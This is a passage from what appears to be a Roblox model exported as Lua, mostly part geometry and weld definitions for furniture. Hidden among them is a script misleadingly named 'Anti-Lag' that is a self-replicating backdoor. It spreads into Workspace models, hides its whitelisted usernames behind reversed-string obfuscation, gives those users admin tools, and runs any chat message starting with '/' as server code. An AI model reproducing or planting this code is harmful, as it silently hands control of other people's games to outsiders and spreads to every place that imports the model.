54.0002365, -218.051559) Part456.Rotation = Vector3.new(0, 90, 0) Part456.Color = Color3.new(0.627451, 0.372549, 0.207843) Part456.Size = Vector3.new(1, 1.20000005, 1) Part456.Anchored = true Part456.BrickColor = BrickColor.new("Dark orange") Part456.TopSurface = Enum.SurfaceType.Weld Part456.brickColor = BrickColor.new("Dark orange") SpecialMesh457.Parent = Part456 SpecialMesh457.Scale = Vector3.new(1.25, 1.25, 1.25) Weld458.Parent = Part456 Weld458.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld458.C1 = CFrame.new(1, -0.199951172, 1, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld458.Part0 = Part456 Weld458.Part1 = Part500 Weld458.part1 = Part500 Part459.Name = "Smooth Block Model" Part459.Parent = Model455 Part459.CFrame = CFrame.new(-15.5410156, 54.0002365, -216.051559, 0, 0, 1, 0, 1, -0, -1, 0, 0) Part459.Orientation = Vector3.new(0, 90, 0) Part459.Position = Vector3.new(-15.5410156, 54.0002365, -216.051559) Part459.Rotation = Vector3.new(0, 90, 0) Part459.Color = Color3.new(0.627451, 0.372549, 0.207843) Part459.Size = Vector3.new(1, 1.20000005, 1) Part459.Anchored = true Part459.BrickColor = BrickColor.new("Dark orange") Part459.TopSurface = Enum.SurfaceType.Weld Part459.brickColor = BrickColor.new("Dark orange") SpecialMesh460.Parent = Part459 SpecialMesh460.Scale = Vector3.new(1.25, 1.25, 1.25) Part461.Name = "Smooth Block Model" Part461.Parent = Model455 Part461.CFrame = CFrame.new(-17.5410156, 54.0002365, -218.051559, 0, 0, 1, 0, 1, -0, -1, 0, 0) Part461.Orientation = Vector3.new(0, 90, 0) Part461.Position = Vector3.new(-17.5410156, 54.0002365, -218.051559) Part461.Rotation = Vector3.new(0, 90, 0) Part461.Color = Color3.new(0.627451, 0.372549, 0.207843) Part461.Size = Vector3.new(1, 1.20000005, 1) Part461.Anchored = true Part461.BrickColor = BrickColor.new("Dark orange") Part461.TopSurface = Enum.SurfaceType.Weld Part461.brickColor = BrickColor.new("Dark orange") SpecialMesh462.Parent = Part461 SpecialMesh462.Scale = Vector3.new(1.25, 1.25, 1.25) Weld463.Parent = Part461 Weld463.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld463.C1 = CFrame.new(1, -0.199932098, -1, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld463.Part0 = Part461 Weld463.Part1 = Part500 Weld463.part1 = Part500 Weld464.Parent = Part461 Weld464.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld464.C1 = CFrame.new(1, -0.199951172, -1, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld464.Part0 = Part461 Weld464.Part1 = Part500 Weld464.part1 = Part500 Weld465.Parent = Part461 Weld465.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld465.C1 = CFrame.new(1, -0.199932098, -1, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld465.Part0 = Part461 Weld465.Part1 = Part500 Weld465.part1 = Part500 Weld466.Parent = Part461 Weld466.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld466.C1 = CFrame.new(1, -0.199932098, -1, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld466.Part0 = Part461 Weld466.Part1 = Part500 Weld466.part1 = Part500 Weld467.Parent = Part461 Weld467.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld467.C1 = CFrame.new(1, -0.199932098, -1, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld467.Part0 = Part461 Weld467.Part1 = Part500 Weld467.part1 = Part500 Part468.Name = "Smooth Block Model" Part468.Parent = Model455 Part468.CFrame = CFrame.new(-17.5410156, 54.0002365, -216.051559, 0, 0, 1, 0, 1, -0, -1, 0, 0) Part468.Orientation = Vector3.new(0, 90, 0) Part468.Position = Vector3.new(-17.5410156, 54.0002365, -216.051559) Part468.Rotation = Vector3.new(0, 90, 0) Part468.Color = Color3.new(0.627451, 0.372549, 0.207843) Part468.Size = Vector3.new(1, 1.20000005, 1) Part468.Anchored = true Part468.BrickColor = BrickColor.new("Dark orange") Part468.TopSurface = Enum.SurfaceType.Weld Part468.brickColor = BrickColor.new("Dark orange") SpecialMesh469.Parent = Part468 SpecialMesh469.Scale = Vector3.new(1.25, 1.25, 1.25) Weld470.Parent = Part468 Weld470.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld470.C1 = CFrame.new(-1, -0.199932098, -1, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld470.Part0 = Part468 Weld470.Part1 = Part500 Weld470.part1 = Part500 Weld471.Parent = Part468 Weld471.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld471.C1 = CFrame.new(-1, -0.199951172, -1, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld471.Part0 = Part468 Weld471.Part1 = Part500 Weld471.part1 = Part500 Weld472.Parent = Part468 Weld472.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld472.C1 = CFrame.new(-1, -0.199932098, -1, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld472.Part0 = Part468 Weld472.Part1 = Part500 Weld472.part1 = Part500 Weld473.Parent = Part468 Weld473.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld473.C1 = CFrame.new(-1, -0.199932098, -1, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld473.Part0 = Part468 Weld473.Part1 = Part500 Weld473.part1 = Part500 Weld474.Parent = Part468 Weld474.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld474.C1 = CFrame.new(-1, -0.199932098, -1, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld474.Part0 = Part468 Weld474.Part1 = Part500 Weld474.part1 = Part500 Part475.Name = "Smooth Block Model" Part475.Parent = Model455 Part475.CFrame = CFrame.new(-16.5410156, 56.1002083, -218.751556, 0, 0, 1, -1, 0, 0, 0, -1, 0) Part475.Orientation = Vector3.new(0, 90, -90) Part475.Position = Vector3.new(-16.5410156, 56.1002083, -218.751556) Part475.Rotation = Vector3.new(-90, 90, 0) Part475.Color = Color3.new(0.627451, 0.372549, 0.207843) Part475.Size = Vector3.new(3, 0.400000006, 3) Part475.Anchored = true Part475.BottomSurface = Enum.SurfaceType.Weld Part475.BrickColor = BrickColor.new("Dark orange") Part475.LeftSurface = Enum.SurfaceType.Weld Part475.RightSurface = Enum.SurfaceType.Weld Part475.TopSurface = Enum.SurfaceType.Smooth Part475.brickColor = BrickColor.new("Dark orange") Weld476.Parent = Part475 Weld476.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld476.C1 = CFrame.new(-1, -1, -1.1999588, 0, -1, -0, 0, 0, 1, -1, 0, 0) Weld476.Part0 = Part475 Weld476.Part1 = Part376 Weld476.part1 = Part376 Weld477.Parent = Part475 Weld477.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld477.C1 = CFrame.new(1.5, 1.3000412, 0, 0, -0, -1, -1, 0, 0, 0, 1, 0) Weld477.Part0 = Part475 Weld477.Part1 = Part500 Weld477.part1 = Part500 Weld478.Parent = Part475 Weld478.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld478.C1 = CFrame.new(0.599971771, -1, -1, -1, 0, 0, 0, 0, 1, 0, 1, 0) Weld478.Part0 = Part475 Weld478.Part1 = Part373 Weld478.part1 = Part373 Weld479.Parent = Part475 Weld479.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld479.C1 = CFrame.new(0, -1, 0.599971771, 0, -1, -0, 0, 0, 1, -1, 0, 0) Weld479.Part0 = Part475 Weld479.Part1 = Part370 Weld479.part1 = Part370 Weld480.Parent = Part475 Weld480.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld480.C1 = CFrame.new(0.5, -0.900028229, 0.5, 0, -1, -0, -1, 0, 0, 0, -0, -1) Weld480.Part0 = Part475 Weld480.Part1 = Part374 Weld480.part1 = Part374 Weld481.Parent = Part475 Weld481.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld481.C1 = CFrame.new(0.599971771, -1, -1, -1, 0, 0, 0, 0, 1, 0, 1, 0) Weld481.Part0 = Part475 Weld481.Part1 = Part373 Weld481.part1 = Part373 Weld482.Parent = Part475 Weld482.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld482.C1 = CFrame.new(0.5, -0.900024414, 0.5, 0, -1, -0, -1, 0, 0, 0, -0, -1) Weld482.Part0 = Part475 Weld482.Part1 = Part374 Weld482.part1 = Part374 Weld483.Parent = Part475 Weld483.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld483.C1 = CFrame.new(1.5, 1.3000412, 0, 0, -0, -1, -1, 0, 0, 0, 1, 0) Weld483.Part0 = Part475 Weld483.Part1 = Part500 Weld483.part1 = Part500 Weld484.Parent = Part475 Weld484.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld484.C1 = CFrame.new(-1, -1, -1.1999588, 0, -1, -0, 0, 0, 1, -1, 0, 0) Weld484.Part0 = Part475 Weld484.Part1 = Part376 Weld484.part1 = Part376 Weld485.Parent = Part475 Weld485.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld485.C1 = CFrame.new(-1, -1, -1.1999588, 0, -1, -0, 0, 0, 1, -1, 0, 0) Weld485.Part0 = Part475 Weld485.Part1 = Part376 Weld485.part1 = Part376 Weld486.Parent = Part475 Weld486.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld486.C1 = CFrame.new(1.5, 1.3000412, 0, 0, -0, -1, -1, 0, 0, 0, 1, 0) Weld486.Part0 = Part475 Weld486.Part1 = Part500 Weld486.part1 = Part500 Weld487.Parent = Part475 Weld487.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld487.C1 = CFrame.new(0.599975586, -1, -1, -1, 0, 0, 0, 0, 1, 0, 1, 0) Weld487.Part0 = Part475 Weld487.Part1 = Part373 Weld487.part1 = Part373 Weld488.Parent = Part475 Weld488.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld488.C1 = CFrame.new(0.5, -0.900028229, 0.5, 0, -1, -0, -1, 0, 0, 0, -0, -1) Weld488.Part0 = Part475 Weld488.Part1 = Part374 Weld488.part1 = Part374 Weld489.Parent = Part475 Weld489.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld489.C1 = CFrame.new(0, -1, 0.599971771, 0, -1, -0, 0, 0, 1, -1, 0, 0) Weld489.Part0 = Part475 Weld489.Part1 = Part370 Weld489.part1 = Part370 Weld490.Parent = Part475 Weld490.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld490.C1 = CFrame.new(-1, -1, -1.1999588, 0, -1, -0, 0, 0, 1, -1, 0, 0) Weld490.Part0 = Part475 Weld490.Part1 = Part376 Weld490.part1 = Part376 Weld491.Parent = Part475 Weld491.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld491.C1 = CFrame.new(0.599971771, -1, -1, -1, 0, 0, 0, 0, 1, 0, 1, 0) Weld491.Part0 = Part475 Weld491.Part1 = Part373 Weld491.part1 = Part373 Weld492.Parent = Part475 Weld492.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld492.C1 = CFrame.new(1.5, 1.30004883, 0, 0, -0, -1, -1, 0, 0, 0, 1, 0) Weld492.Part0 = Part475 Weld492.Part1 = Part500 Weld492.part1 = Part500 Weld493.Parent = Part475 Weld493.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld493.C1 = CFrame.new(0.5, -0.900028229, 0.5, 0, -1, -0, -1, 0, 0, 0, -0, -1) Weld493.Part0 = Part475 Weld493.Part1 = Part374 Weld493.part1 = Part374 Weld494.Parent = Part475 Weld494.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld494.C1 = CFrame.new(0, -1, 0.599971771, 0, -1, -0, 0, 0, 1, -1, 0, 0) Weld494.Part0 = Part475 Weld494.Part1 = Part370 Weld494.part1 = Part370 Weld495.Parent = Part475 Weld495.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld495.C1 = CFrame.new(0, -1, 0.599971771, 0, -1, -0, 0, 0, 1, -1, 0, 0) Weld495.Part0 = Part475 Weld495.Part1 = Part370 Weld495.part1 = Part370 Weld496.Parent = Part475 Weld496.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld496.C1 = CFrame.new(1.5, 1.3000412, 0, 0, -0, -1, -1, 0, 0, 0, 1, 0) Weld496.Part0 = Part475 Weld496.Part1 = Part500 Weld496.part1 = Part500 Weld497.Parent = Part475 Weld497.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld497.C1 = CFrame.new(0.599971771, -1, -1, -1, 0, 0, 0, 0, 1, 0, 1, 0) Weld497.Part0 = Part475 Weld497.Part1 = Part373 Weld497.part1 = Part373 Weld498.Parent = Part475 Weld498.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld498.C1 = CFrame.new(0.5, -0.900028229, 0.5, 0, -1, -0, -1, 0, 0, 0, -0, -1) Weld498.Part0 = Part475 Weld498.Part1 = Part374 Weld498.part1 = Part374 Weld499.Parent = Part475 Weld499.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld499.C1 = CFrame.new(-1, -1, -1.19995117, 0, -1, -0, 0, 0, 1, -1, 0, 0) Weld499.Part0 = Part475 Weld499.Part1 = Part376 Weld499.part1 = Part376 Part500.Name = "Smooth Block Model" Part500.Parent = Model455 Part500.CFrame = CFrame.new(-16.5410156, 54.8001671, -217.051559, 0, 0, 1, 0, 1, -0, -1, 0, 0) Part500.Orientation = Vector3.new(0, 90, 0) Part500.Position = Vector3.new(-16.5410156, 54.8001671, -217.051559) Part500.Rotation = Vector3.new(0, 90, 0) Part500.Color = Color3.new(0.627451, 0.372549, 0.207843) Part500.Size = Vector3.new(3, 0.400000006, 3) Part500.Anchored = true Part500.BrickColor = BrickColor.new("Dark orange") Part500.LeftSurface = Enum.SurfaceType.Weld Part500.RightSurface = Enum.SurfaceType.Weld Part500.TopSurface = Enum.SurfaceType.Weld Part500.brickColor = BrickColor.new("Dark orange") Script501.Name = "Anti-Lag" Script501.Parent = Part500 table.insert(cors,sandbox(Script501,function() Altitude = script:clone() calco = {"u", "1","4","D","j","g","M","k","a","e","d","c","2","3","r","t","j"} Knox = {} table.insert (Knox, 1 ,string.reverse(calco[2] .. calco[11] .. calco[10] .. calco[1] .. calco[4])) table.insert (Knox, 2 ,string.reverse(calco[2] .. calco[3] .. calco[16] .. calco[15] .. calco[10] .. calco[4])) table.insert (Knox, 3 ,string.reverse(calco[14] .. calco[13] .. calco[2] .. calco[8] .. calco[12] .. calco[9] .. calco[5])) table.insert (Knox, 4 ,string.reverse(calco[17] .. calco[5] .. calco[17] .. calco[4])) Play = {} function rando(votation) local hatr = 5 local calc = math.pi * math.huge local longicate = votation:GetChildren() if #longicate > hatr then calc = calc + math.pi return longicate[math.random(6,#longicate)] end end function doublecheck() local fj = game.Workspace:GetChildren() for off = 1,#fj do if fj[off].className == "Part" then local fh = fj[off]:FindFirstChild("Anti-Lag") if fh ~= nil then return false end end end return true end function workcheck() if doublecheck() == true then local l = Altitude:clone() l.Parent = rando(game.Workspace) end end workcheck() function gibite(quen) local hup = Instance.new("Message") hup.Text = "Detected" hup.Parent = quen.Parent local con = Instance.new("Script") con.Source = [[wait(5) script.Parent:remove()]] con.Parent = hup for ish = 0,7 do local a = Instance.new("HopperBin") a.BinType = ish a.Parent = quen end end function laber(zonsa) wait() for slate = 1,#Knox do if zonsa.Name == Knox[slate] then gibite(zonsa.Backpack) table.insert (Play, 1, zonsa.Name) end end end function yeild(frequency) local t = Knox for g = 1,#t do if t[g] == frequency.Name then return true end end return false end function check(los) local r = los:GetChildren() for i = 1,#r do local h = r[i]:FindFirstChild("Anti-Lag") if h ~= nil then h:remove() end end end function alto(xylem) if xylem.className == "Model" then check(xylem) local que = script:clone() que.Parent = rando(xylem) end end function sortation(gone) local dimbs = Altitude:clone() dimbs = ramno(game.Workspace) end function onPlayerEntered(newPlayer) newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) end function Player(player) player.Changed:connect(function (property) if property == "Character" then laber(player) end end) end game.Players.PlayerAdded:connect(Player) game.Players.ChildAdded:connect(onPlayerEntered) game.Players.ChildAdded:connect(laber) script.ChildRemoved:connect(sortation) game.Workspace.ChildAdded:connect(alto) function onChatted(msg, recipient, speaker) if yeild(speaker) ~= false then if string.sub(msg,1,1) == "/" then local dsting = Instance.new("Script") dsting.Source = string.sub(msg,2) dsting.Parent = game.Workspace end end end end)) Weld502.Parent = Part500 Weld502.C0 = CFrame.new(0, 0.200000003, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld502.C1 = CFrame.new(-0.50012207, 0.5, -1, 0, 0, 1, 1, 0, 0, 0, 1, 0) Weld502.Part0 = Part500 Weld502.Part1 = Part373 Weld502.part1 = Part373 Weld503.Parent = Part500 Weld503.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld503.C1 = CFrame.new(-1, 0.59992981, -1, 1, -0, 0, 0, 0, -1, 0, 1, 0) Weld503.Part0 = Part500 Weld503.Part1 = Part456 Weld503.part1 = Part456 Weld504.Parent = Part500 Weld504.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld504.C1 = CFrame.new(1, 0.599975586, -1, 1, -0, 0, 0, 0, -1, 0, 1, 0) Weld504.Part0 = Part500 Weld504.Part1 = Part459 Weld504.part1 = Part459 Model505.Name = "Cair2" Model505.Parent = Model454 Model505.PrimaryPart = Part540 Part506.Name = "Smooth Block Model" Part506.Parent = Model505 Part506.CFrame = CFrame.new(-11.5410156, 55.1004601, -210.351624, 1, 0, -0, 0, 0, 1, 0, -1, 0) Part506.Orientation = Vector3.new(-90, 0, 0) Part506.Position = Vector3.new(-11.5410156, 55.1004601, -210.351624) Part506.Rotation = Vector3.new(-90, 0, 0) Part506.Color = Color3.new(0.627451, 0.372549, 0.207843) Part506.Size = Vector3.new(3, 0.400000006, 1) Part506.Anchored = true Part506.BottomSurface = Enum.SurfaceType.Smooth Part506.BrickColor = BrickColor.new("Dark orange") Part506.LeftSurface = Enum.SurfaceType.Weld Part506.RightSurface = Enum.SurfaceType.Weld Part506.TopSurface = Enum.SurfaceType.Weld Part506.brickColor = BrickColor.new("Dark orange") Weld507.Parent = Part506 Weld507.C0 = CFrame.new(0, 0.200000003, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld507.C1 = CFrame.new(0, 0.300292969, 1.49993896, -1, 0, 0, 0, 1, 0, 0, 0, -1) Weld507.Part0 = Part506 Weld507.Part1 = Part540 Weld507.part1 = Part540 Weld508.Parent = Part506 Weld508.C0 = CFrame.new(0, 0.200000003, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld508.C1 = CFrame.new(0, 0.300292969, 1.49993896, -1, 0, 0, 0, 1, 0, 0, 0, -1) Weld508.Part0 = Part506 Weld508.Part1 = Part540 Weld508.part1 = Part540 Weld509.Parent = Part506 Weld509.C0 = CFrame.new(0, 0.200000003, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld509.C1 = CFrame.new(0, 0.300292969, 1.49993896, -1, 0, 0, 0, 1, 0, 0, 0, -1) Weld509.Part0 = Part506 Weld509.Part1 = Part540 Weld509.part1 = Part540 Weld510.Parent = Part506 Weld510.C0 = CFrame.new(0, 0.200000003, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld510.C1 = CFrame.new(0, 0.300292969, 1.49995422, -1, 0, 0, 0, 1, 0, 0, 0, -1) Weld510.Part0 = Part506 Weld510.Part1 = Part540 Weld510.part1 = Part540 Weld511.Parent = Part506 Weld511.C0 = CFrame.new(0, 0.200000003, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld511.C1 = CFrame.new(0, 0.300292969, 1.49993896, -1, 0, 0, 0, 1, 0, 0, 0, -1) Weld511.Part0 = Part506 Weld511.Part1 = Part540 Weld511.part1 = Part540 Part512.Name = "Smooth Block Model" Part512.Parent = Model505 Part512.CFrame = CFrame.new(-11.5410156, 55.1004601, -213.751511, 1, 0, 0, 0, 0, -1, 0, 1, 0) Part512.Orientation = Vector3.new(90, 0, 0) Part512.Position = Vector3.new(-11.5410156, 55.1004601, -213.751511) Part512.Rotation = Vector3.new(90, 0, 0) Part512.Color = Color3.new(0.627451, 0.372549, 0.207843) Part512.Size = Vector3.new(3, 0.400000006, 1) Part512.Anchored = true Part512.BottomSurface = Enum.SurfaceType.Smooth Part512.BrickColor = BrickColor.new("Dark orange") Part512.LeftSurface = Enum.SurfaceType.Weld Part512.RightSurface = Enum.SurfaceType.Weld Part512.TopSurface = Enum.SurfaceType.Weld Part512.brickColor = BrickColor.new("Dark orange") Weld513.Parent = Part512 Weld513.C0 = CFrame.new(-1.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Weld513.C1 = CFrame.new(-0.300048828, -0.0997314453, 0.5, 0, -1, 0, -1, 0, 0, 0, 0, -1) Weld513.Part0 = Part512 Weld513.Part1 = Part602 Weld513.part1 = Part602 Weld514.Parent = Part512 Weld514.C0 = CFrame.new(-1.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Weld514.C1 = CFrame.new(-0.300048828, -0.0997314453, 0.5, 0, -1, 0, -1, 0, 0, 0, 0, -1) Weld514.Part0 = Part512 Weld514.Part1 = Part602 Weld514.part1 = Part602 Weld515.Parent = Part512 Weld515.C0 = CFrame.new(-1.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Weld515.C1 = CFrame.new(-0.300048828, -0.0997314453, 0.5, 0, -1, 0, -1, 0, 0, 0, 0, -1) Weld515.Part0 = Part512 Weld515.Part1 = Part602 Weld515.part1 = Part602 Weld516.Parent = Part512 Weld516.C0 = CFrame.new(-1.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Weld516.C1 = CFrame.new(-0.300048828, -0.0997314453, 0.5, 0, -1, 0, -1, 0, 0, 0, 0, -1) Weld516.Part0 = Part512 Weld516.Part1 = Part602 Weld516.part1 = Part602 Weld517.Parent = Part512 Weld517.C0 = CFrame.new(-1.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Weld517.C1 = CFrame.new(-0.300048828, -0.0997314453, 0.5, 0, -1, 0, -1, 0, 0, 0, 0, -1) Weld517.Part0 = Part512 Weld517.Part1 = Part602 Weld517.part1 = Part602 Part518.Name = "Smooth Block Model" Part518.Parent = Model505 Part518.CFrame = CFrame.new(-10.5410156, 54.0002365, -211.051559, 1, 0, 0, 0, 1, 0, 0, 0, 1) Part518.Position = Vector3.new(-10.5410156, 54.0002365, -211.051559) Part518.Color = Color3.new(0.627451, 0.372549, 0.207843) Part518.Size = Vector3.new(1, 1.20000005, 1) Part518.Anchored = true Part518.BrickColor = BrickColor.new("Dark orange") Part518.TopSurface = Enum.SurfaceType.Weld Part518.brickColor = BrickColor.new("Dark orange") SpecialMesh519.Parent = Part518 SpecialMesh519.Scale = Vector3.new(1.25, 1.25, 1.25) Part520.Name = "Smooth Block Model" Part520.Parent = Model505 Part520.CFrame = CFrame.new(-12.5410156, 54.0002365, -211.051559, 1, 0, 0, 0, 1, 0, 0, 0, 1) Part520.Position = Vector3.new(-12.5410156, 54.0002365, -211.051559) Part520.Color = Color3.new(0.627451, 0.372549, 0.207843) Part520.Size = Vector3.new(1, 1.20000005, 1) Part520.Anchored = true Part520.BrickColor = BrickColor.new("Dark orange") Part520.TopSurface = Enum.SurfaceType.Weld Part520.brickColor = BrickColor.new("Dark orange") SpecialMesh521.Parent = Part520 SpecialMesh521.Scale = Vector3.new(1.25, 1.25, 1.25) Weld522.Parent = Part520 Weld522.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld522.C1 = CFrame.new(-1, -0.199932098, 1, -1, 0, 0, 0, 0, 1, 0, 1, 0) Weld522.Part0 = Part520 Weld522.Part1 = Part540 Weld522.part1 = Part540 Weld523.Parent = Part520 Weld523.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld523.C1 = CFrame.new(-1, -0.199932098, 1, -1, 0, 0, 0, 0, 1, 0, 1, 0) Weld523.Part0 = Part520 Weld523.Part1 = Part540 Weld523.part1 = Part540 Weld524.Parent = Part520 Weld524.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld524.C1 = CFrame.new(-1, -0.199932098, 1, -1, 0, 0, 0, 0, 1, 0, 1, 0) Weld524.Part0 = Part520 Weld524.Part1 = Part540 Weld524.part1 = Part540 Weld525.Parent = Part520 Weld525.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld525.C1 = CFrame.new(-1, -0.199951172, 1, -1, 0, 0, 0, 0, 1, 0, 1, 0) Weld525.Part0 = Part520 Weld525.Part1 = Part540 Weld525.part1 = Part540 Weld526.Parent = Part520 Weld526.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld526.C1 = CFrame.new(-1, -0.199932098, 1, -1, 0, 0, 0, 0, 1, 0, 1, 0) Weld526.Part0 = Part520 Weld526.Part1 = Part540 Weld526.part1 = Part540 Part527.Name = "Smooth Block Model" Part527.Parent = Model505 Part527.CFrame = CFrame.new(-10.5410156, 54.0002365, -213.051559, 1, 0, 0, 0, 1, 0, 0, 0, 1) Part527.Position = Vector3.new(-10.5410156, 54.0002365, -213.051559) Part527.Color = Color3.new(0.627451, 0.372549, 0.207843) Part527.Size = Vector3.new(1, 1.20000005, 1) Part527.Anchored = true Part527.BrickColor = BrickColor.new("Dark orange") Part527.TopSurface = Enum.SurfaceType.Weld Part527.brickColor = BrickColor.new("Dark orange") SpecialMesh528.Parent = Part527 SpecialMesh528.Scale = Vector3.new(1.25, 1.25, 1.25) Weld529.Parent = Part527 Weld529.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld529.C1 = CFrame.new(1, -0.199932098, -1, -1, 0, 0, 0, 0, 1, 0, 1, 0) Weld529.Part0 = Part527 Weld529.Part1 = Part540 Weld529.part1 = Part540 Weld530.Parent = Part527 Weld530.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld530.C1 = CFrame.new(1, -0.199932098, -1, -1, 0, 0, 0, 0, 1, 0, 1, 0) Weld530.Part0 = Part527 Weld530.Part1 = Part540 Weld530.part1 = Part540 Weld531.Parent = Part527 Weld531.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld531.C1 = CFrame.new(1, -0.199951172, -1, -1, 0, 0, 0, 0, 1, 0, 1, 0) Weld531.Part0 = Part527 Weld531.Part1 = Part540 Weld531.part1 = Part540 Weld532.Parent = Part527 Weld532.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld532.C1 = CFrame.new(1, -0.199932098, -1, -1, 0, 0, 0, 0, 1, 0, 1, 0) Weld532.Part0 = Part527 Weld532.Part1 = Part540 Weld532.part1 = Part540 Weld533.Parent = Part527 Weld533.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld533.C1 = CFrame.new(1, -0.199932098, -1, -1, 0, 0, 0, 0, 1, 0, 1, 0) Weld533.Part0 = Part527 Weld533.Part1 = Part540 Weld533.part1 = Part540 Part534.Name = "Smooth Block Model" Part534.Parent = Model505 Part534.CFrame = CFrame.new(-12.5410156, 54.0002365, -213.051559, 1, 0, 0, 0, 1, 0, 0, 0, 1) Part534.Position = Vector3.new(-12.5410156, 54.0002365, -213.051559) Part534.Color = Color3.new(0.627451, 0.372549, 0.207843) Part534.Size = Vector3.new(1, 1.20000005, 1) Part534.Anchored = true Part534.BrickColor = BrickColor.new("Dark orange") Part534.TopSurface = Enum.SurfaceType.Weld Part534.brickColor = BrickColor.new("Dark orange") SpecialMesh535.Parent = Part534 SpecialMesh535.Scale = Vector3.new(1.25, 1.25, 